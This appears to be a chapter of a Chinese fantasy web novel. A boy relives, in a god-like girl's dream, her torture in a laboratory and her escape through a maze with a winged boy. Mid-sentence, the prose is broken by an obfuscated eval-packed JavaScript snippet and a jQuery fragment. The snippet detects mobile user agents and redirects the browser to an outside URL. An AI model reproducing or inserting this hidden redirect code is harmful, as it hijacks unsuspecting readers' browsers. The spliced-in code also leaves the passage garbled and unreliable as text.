叶见春第二次进到神明的梦里,轻车熟路地飘荡着自己失重的身体,在这片漆黑的梦里寻找光亮。
四处都是邦邦硬的玻璃,叶见春撞了一圈得出结论。
突然灯光亮起,刺眼得让人难受,他才看清,原来这玻璃圈起来的中央,还有个人。
她呼吸微弱,几乎感受不到生命,浑身血污,胸口脖颈附近插满了线管,几乎没有间隙,密密麻麻,十分骇人。她与旁边巨大的仪器连接在一起,看起来和仿生人别无二致。她的头发却与半机械的身体不同,泛着晶莹剔透的绿,仔细看里面甚至有气泡在不断往上冒,充满勃勃生机感。
他认出她——“神明!”
山樱听不见他的声音,只是抬起晦暗的眼睛,死死盯着前方。
“偷跑出去,还撞倒了外面的实习生,001,你长本事了?”
“爸爸说了多少遍,你的身体是最重要的,你看看,这回连鳃都被剐没了,多疼啊。”
“告密的人是063,是要我们处理还是你自己来?”
神明动了动,管线便自动离开她的躯体,前胸处豁然露出一个大口子,甚至能看见皮肉下跳动的心脏。她的身体像一个四处透风的皮影套,好在没有流血。
063被困住四肢丢在她面前,她眼神空洞,在进来之前,就已经被他们绞毁了她的脑神经结构。
神明捡起被扔在地上的枪,抵住她的太阳穴,毫不犹豫地扣动扳机。
子弹压根没有上膛,但那个女孩还是死在她面前。
她的表情都没有任何变化,可外面的声音忽然激动起来:
“激素水平发生变化了,给她加大电流惩罚力度。”
063那样的蠢货,在他们手上只会受到更多折磨,无论放在哪里都活不久。山樱向后倾倒,身体因为电流微微颤抖,她轻蔑地嘲笑那些看不见的人,不知道在和谁说:“再见。”
她的声音好轻,如果不是贴着她,叶见春根本听不见。
玻璃之外究竟什么人在说话,叶见春什么都看不到,他疑惑地盯着模糊的玻璃,脑子里都无法想象,神明竟然对他们的虐待无动于衷。
难道她过去是被人类囚禁的神明吗?
很久之后,山樱闭上疲倦的眼睛,她身上血淋淋的伤口已经长出肉瘤形状的丑陋无比的组织结构挡住那块漏风的缺口,除了口鼻,她全身都被泡在绿色的营养液里。
叶见春看着昏厥的女孩,心里有些不是滋味。
平心而论,他的同情心其实少得可怜,毕竟他在这该死的人生里也真的很难学会共情别人。他更多要考虑的是怎样才能装作神明的信徒,所有的情感都是克制的,为了活下去,他不希望和任何人产生过多的关联。
可为什么,他看着面色死寂的神明,心脏跳动得难受。不对,她这么坏,这么强,怎么也该和可怜这两个字沾不上边。
或许是下一个陷阱。
神明忽然发出闷闷的嘶声,叶见春心头一紧,忘记自己根本碰不到她的身体,忍不住伸手去摸她已经快好了的伤口,却在触碰前的一瞬眼前一黑,睁眼就身在一片灰暗里,只能勉强看清眼前的神明。
山樱锁骨延至胸下那道快好了的伤口再次撕裂开,几乎可以看见若隐若现的骨头。
他立即给她止血。这动作太自然,让他也没意识到自己已经实实在在捏着她的肩头。
太瘦了,她以前也吃不饱饭吗?
止血过后才发现这里原来是之前走过的迷宫,山樱披着一件黑色斗篷,坐在地上一动不动地看他,神情冷淡,完全感觉不到疼痛一样,眼睛像两团鬼火幽幽地盯着他。
叶见春心情复杂,语气软了又软,问她:“你怎么样了?”
叶见春说完又被自己吓了一跳,捏了捏嗓子,发现自己竟然在一个孩子的身体里——应该还没变声的男孩,声音脆脆的。
这人是谁?算了也不重要了。
“他”不受控制地继续在她面前挥手:“喂,和你说话呢,你听见没有?你还能不能走路了,要不我背你?”
男孩的执行力很强,他轻易地背起山樱,继续向前走。他小小身躯,力气却出奇大。
忽然,山樱扯着他的头发往后拉,男孩吃痛,停止脚步愤怒地问:“干什么!”
他刚说完,前面就闪现数万条红色射线,他震惊地问她:“你怎么知道?”
山樱半敛睫毛,无缘无故说:“136次。”
“什么?”
“这是我的第136次出逃,你是几号?”山樱伸手从他的后颈下方揪下一根黑色羽毛,仔细把玩。
男孩皱了皱眉,说:“我不喜欢那些代号,我叫阿羽,你是什么人?”
山樱没有说话,眼睛藏在黑暗里眨了一下,似乎在想些什么。
山樱趴在他肩头上,微微放松的姿态,悠闲地指挥他往前,叶见春觉得这一幕似曾相识。当时绿绿也是这样,只不过绿绿故意离他很近,喜欢贴着他的耳廓讲话,但这里,神明却有意和男孩隔开距离。
一声枪响打破了这默然的默契,阿羽惊恐地看着前方,那发子弹却迟迟没有落到自己身上。
他的视线聚焦,才发现子弹在他面前高速旋转,像是有什么无形的东西阻碍了它的轨道。子弹慢慢停下来,清脆地落到地上。
阿羽终于害怕了,他把山樱放下来,后怕地退了两步:“这怎么做到的……你是几号?”
神明在她的世界里当然可以为所欲为,叶见春觉得这人大惊小怪。
可阿羽像看一个怪物的表情,山樱摸了摸伤口,那里已经结痂了。她露出一个标准的假笑,缓缓开口:“我以为你知道,不过如果没有我,你出不去,想告发我——”
她笑意更深:“随时欢迎。”
阿羽没有说话,他又蹲在山樱的面前。山樱拍了拍他的肩膀,绕过他,男孩不可思议地看向她的小腿,说出自己的心里话:“你真是一个怪物。”
怪物山樱仍然花费了巨大的代价才来到出口,她已经精疲力尽,不过在叶见春看来,也只是脸色白了几分,身上多了几道血痕。
她绿色的头发刚一经过地下室最后的大门,立即发出滴滴警报声,叶见春本能拉着她的手想带她跑,可山樱腿软地跪在地上。
男孩在离开和留下之间徘徊,山樱推了他一把,摇头说:“听人说,外面的世界还不错,家人、朋友、海洋馆,没有要死要活的游戏,没有我们这种怪物,你有翅膀,也许真的能飞出去看看。”
男孩沉默了。
很快,他从怀里掏出一个瓶子,看起来还有点重,不由分说地挂在她身上:“我知道我不可能真正逃出去,可你这么强大,一定有办法能离开这里。我帮你拖延时间,只求你把这个撒在外面,远离这里的任何地方,她就会自由。”
“她是谁?”
“给我起名的人。”
山樱那时并不明白这种情感是什么,她只觉得这个人很奇怪,提起“她”的时候,整个人都很怪异。可她无法再继续思考,眼皮越来越重,她努力睁开眼,看见男孩展开两人长的翅膀,黑色的羽毛在月光下闪闪发光。
他飞走了。
他一飞走,山樱立即睁开眼,完全没有刚刚快要不行的样子。她的确已经到了强弩之末的状态,但远没有她表现得那么严重。她不过是试探试探他的态度,怎么还真去帮她引开那些人了?
真是物超所值。
她重新披好黑色的斗篷,不顾满身的伤口,跌跌撞撞地往前跑,跑得精疲力尽。她都有些恍惚了,好像只要往前跑,就能看见那些她曾经见过的,后来又再也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094699|195614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见不到的人。
在连续跑了几十分钟后,她重重地摔在地上,与此同时,叶见春感受到双翅被斩断的剧痛。
痛到极致的麻木,他想,真不如死了呢。
然而痛觉还没有消失,他转眼又看见在黑暗里悄无声息倒下的山樱,她太虚弱太安静,叶见春担心地飘过去,隔着虚无,给她一个没用的拥抱妄图接住她。
她可是神明,玩弄人心杀人不眨眼的神明啊。叶见春此时却看着悄无声息的女孩,心里止不住想,如果有人救救她就好了。
四处警报声响,却夹杂着低低的人声:“行之!简行之!别亲了!完蛋了我们俩好像闯祸了!”
“那里有人?”
“那里怎么可能有人你……我的黛栗妈妈呀竟然真的有人!”
“她好像有点死了。”
“你到底会不会说话,赶紧带她出去看医生。”
“走那边别让人发现我们俩偷情把警报都偷响了。”
“……偷情?”
叶见春看见一对年轻的脸庞,他们有与自己酷似的眉眼,可他无法离开这个鬼地方,只能看着他们抱着怀里的女孩离开,他不受控地留下两行泪,突然大喊:“妈妈!爸爸!山樱!”
你们,别丢下我。
别,丢了我。
-
山樱凑近叶见春的脸,她很想知道他梦见了什么,睫毛湿漉漉的,是看到什么不好的东西吗?
这片海底是她潜意识的深处,她曾经那些情绪与意识都会影响他。
忽然,他握住她的手,喃喃着说:“求求你,别离开我。”
山樱觉得他很有趣,于是凑近说:“好吧好吧,神明答应你了。”
她还没收回身子,叶见春猝然睁开眼,他从没离人这么近,一扭头,结结实实地亲上山樱的眼尾。
他的心突突跳,山樱不是梦里的小女孩,也没有用绿绿那副无知少女模样,她的眉眼长开,眼睛灿如繁星,浑身散发着生机的气息。
他觉得很冒犯,又理不清楚究竟是谁在冒犯谁,迅速低头本能道歉:“对不起。”
山樱看见他红透了的耳朵,觉得很稀奇,她明目张胆地亲了亲他的耳尖,说:“没关系,我要回来了。”
于是这个人从耳朵红蔓延到全身红。
奇怪的情感,似乎她曾经在谁身上也看见过,不知道为什么转移到这人身上。
叶见春好不容易思绪回笼,意识到刚刚发生了什么,羞愤地离她远一步,他上下打量这里,看起来是个巨大的贝壳,粗略估计至少能容纳50个人。
他再一次把刀横在他们之间,还没来得及说话,山樱两指捏住刀脊,牢牢控制住让他无法收手,歪头问:“你,又想杀我了?”
她害死了那么多人,难道不该死吗?
心里却有个声音在小声说不可以,让他迟迟下不了手。叶见春想,反正他也打不过她,他挣不挣扎都没有意义。
神明过着这世上最幸福的生活,他们有至高无上的权力和享之不尽的资源,哪怕被人囚禁在宫殿里的神明,也不会受到什么实质性的伤害。毕竟他们生来就比人高贵一等,整个世界都是他们的化身。
可他想不明白,为什么她会在逼仄狭隘的环境里长大,为什么被层层迷宫困锁,为什么变成这样一个生杀予夺毫无情感的神明?他的父母究竟与她有什么渊源?她到底是个怎样的人?
然而她只是神明的一个碎片,承载着神明部分记忆和情感,无法回答自己任何问题,他不知道该用什么样的表情面对她。
山樱不屑地笑了笑,说:“你该不会以为杀了我你就能出去吧?没有得到我想要的,杀了我你也出不去。”
他问她:“你想要什么?”
山樱用开玩笑的语气:“吻我?”